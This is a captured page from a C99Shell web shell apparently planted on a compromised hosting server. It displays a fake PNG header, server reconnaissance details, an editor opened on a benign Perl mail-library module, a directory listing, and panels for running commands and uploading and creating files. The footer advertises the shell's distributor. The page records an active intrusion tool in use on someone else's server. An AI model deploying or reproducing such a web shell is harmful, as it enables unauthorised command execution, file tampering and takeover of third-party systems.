boat.maldiviana.com

\x89\x50\x4E\x47\x0D\x0A\x1A\x0A PNG \x89\x50\x4E\x47\x0D\x0A\x1A\x0A boat.maldiviana.com - C99Shell

! C99Shell v2025 !
Safe-mode: OFF (not secure) Disable Functions: None Host: Linux boa1684427.nichost.ru 6.6.144-1.el8.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 8 17:12:46 MSK 2026 x86_64 User: boa1684427 Software: Apache/2.4.68 (Linux) PHP/7.4.33 IP: 127.0.0.1 PHP: 7.4.33 CURL:ON SSH2:OFF Magic Quotes:OFF MySQL:ON MSSQL:OFF PostgreSQL:OFF Oracle:OFF CGI:OFF /usr/share/perl5/vendor_perl/Mail/Message/Body/

! C99Shell v2025 !

Safe-mode: OFF (not secure)

Disable Functions: None

Host: Linux boa1684427.nichost.ru 6.6.144-1.el8.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 8 17:12:46 MSK 2026 x86_64

User: boa1684427

Software: Apache/2.4.68 (Linux) PHP/7.4.33

IP: 127.0.0.1

PHP: 7.4.33

CURL:ON SSH2:OFF Magic Quotes:OFF MySQL:ON MSSQL:OFF PostgreSQL:OFF Oracle:OFF CGI:OFF

/usr/share/perl5/vendor_perl/Mail/Message/Body/

Edit File: Lines.pm

# Copyrights 2001-2019 by [Mark Overmeer <markov@cpan.org>].
#  For other contributors see ChangeLog.
# See the manual pages for details on the licensing terms.
# Pod stripped from pm file by OODoc 2.02.
# This code is part of distribution Mail-Message.  Meta-POD processed with
# OODoc into POD and HTML manual-pages.  See README.md
# Copyright Mark Overmeer.  Licensed under the same terms as Perl itself.

package Mail::Message::Body::Lines;
use vars '$VERSION';
$VERSION = '3.008';

use base 'Mail::Message::Body';

use strict;
use warnings;

use Mail::Box::Parser;
use IO::Lines;

use Carp;

sub _data_from_filename(@)
{   my ($self, $filename) = @_;

local *IN;

unless(open IN, '<', $filename)
    {   $self->log(ERROR =>
             "Unable to read file $filename for message body lines: $!");
        return;
    }

$self->{MMBL_array} = [ <IN> ];

close IN;
    $self;
}

sub _data_from_filehandle(@)
{   my ($self, $fh) = @_;
    $self->{MMBL_array} =
       ref $fh eq 'Mail::Box::FastScalar' ? $fh->getlines : [ $fh->getlines ];
    $self
}

sub _data_from_glob(@)
{   my ($self, $fh) = @_;
    $self->{MMBL_array} = [ <$fh> ];
    $self;
}

sub _data_from_lines(@)
{   my ($self, $lines)  = @_;
    $lines = [ split /^/, $lines->[0] ]    # body passed in one string.
        if @$lines==1;

$self->{MMBL_array} = $lines;
    $self;
}

#------------------------------------------

sub clone()
{   my $self  = shift;
    ref($self)->new(data => [ $self->lines ], based_on => $self);
}

#------------------------------------------

sub nrLines() { scalar @{shift->{MMBL_array}} }

#------------------------------------------
# Optimized to be computed only once.

sub size()
{   my $self = shift;
    return $self->{MMBL_size} if exists $self->{MMBL_size};

my $size = 0;
    $size += length $_ foreach @{$self->{MMBL_array}};
    $self->{MMBL_size} = $size;
}

#------------------------------------------

sub string() { join '', @{shift->{MMBL_array}} }

#------------------------------------------

sub lines() { wantarray ? @{shift->{MMBL_array}} : shift->{MMBL_array} }

#------------------------------------------

sub file() { IO::Lines->new(shift->{MMBL_array}) }

#------------------------------------------

sub print(;$)
{   my $self = shift;
    my $fh   = shift || select;
    if(ref $fh eq 'GLOB') { print $fh @{$self->{MMBL_array}}   }
    else                  { $fh->print(@{$self->{MMBL_array}}) }
    $self;
}

#------------------------------------------

sub read($$;$@)
{   my ($self, $parser, $head, $bodytype) = splice @_, 0, 4;
    my ($begin, $end, $lines) = $parser->bodyAsList(@_);
    $lines or return undef;

$self->fileLocation($begin, $end);
    $self->{MMBL_array} = $lines;
    $self;
}

#------------------------------------------

sub endsOnNewline()
{   my $last = shift->{MMBL_array}[-1];
    !defined $last || $last =~ m/\n$/;
}

#------------------------------------------

Cancel

Listing directory:

Name	Size	Modify	Owner/Group	Perms	Action	Select
Construct.pm	3.49 KB	11.02.2019 14:31:02	65534/65534	-rw-r--r--	Edit Rename Download
Construct.pod	4.8 KB	11.02.2019 14:31:05	65534/65534	-rw-r--r--	Edit Rename Download
Encode.pm	8.54 KB	11.02.2019 14:31:02	65534/65534	-rw-r--r--	Edit Rename Download
Encode.pod	6.61 KB	11.02.2019 14:31:05	65534/65534	-rw-r--r--	Edit Rename Download
File.pm	5.07 KB	11.02.2019 14:31:03	65534/65534	-rw-r--r--	Edit Rename Download
File.pod	11.76 KB	11.02.2019 14:31:05	65534/65534	-rw-r--r--	Edit Rename Download
Lines.pm	2.89 KB	11.02.2019 14:31:02	65534/65534	-rw-r--r--	Edit Rename Download
Lines.pod	11.41 KB	11.02.2019 14:31:05	65534/65534	-rw-r--r--	Edit Rename Download
Multipart.pm	10.81 KB	11.02.2019 14:31:02	65534/65534	-rw-r--r--	Edit Rename Download
Multipart.pod	16.86 KB	11.02.2019 14:31:05	65534/65534	-rw-r--r--	Edit Rename Download
Nested.pm	3.39 KB	11.02.2019 14:31:02	65534/65534	-rw-r--r--	Edit Rename Download
Nested.pod	12.43 KB	11.02.2019 14:31:05	65534/65534	-rw-r--r--	Edit Rename Download
String.pm	2.91 KB	11.02.2019 14:31:02	65534/65534	-rw-r--r--	Edit Rename Download
String.pod	11.47 KB	11.02.2019 14:31:05	65534/65534	-rw-r--r--	Edit Rename Download

:: Command Execute ::
Enter Command:	Select Command:

:: Search ::

:: Upload ::

:: Make Dir ::

:: Make File ::

--[ C99Shell v2025 (01.07.2025) powered by V4NTA | https://privdayz.com | Generation time: 1784978871.1953 ]--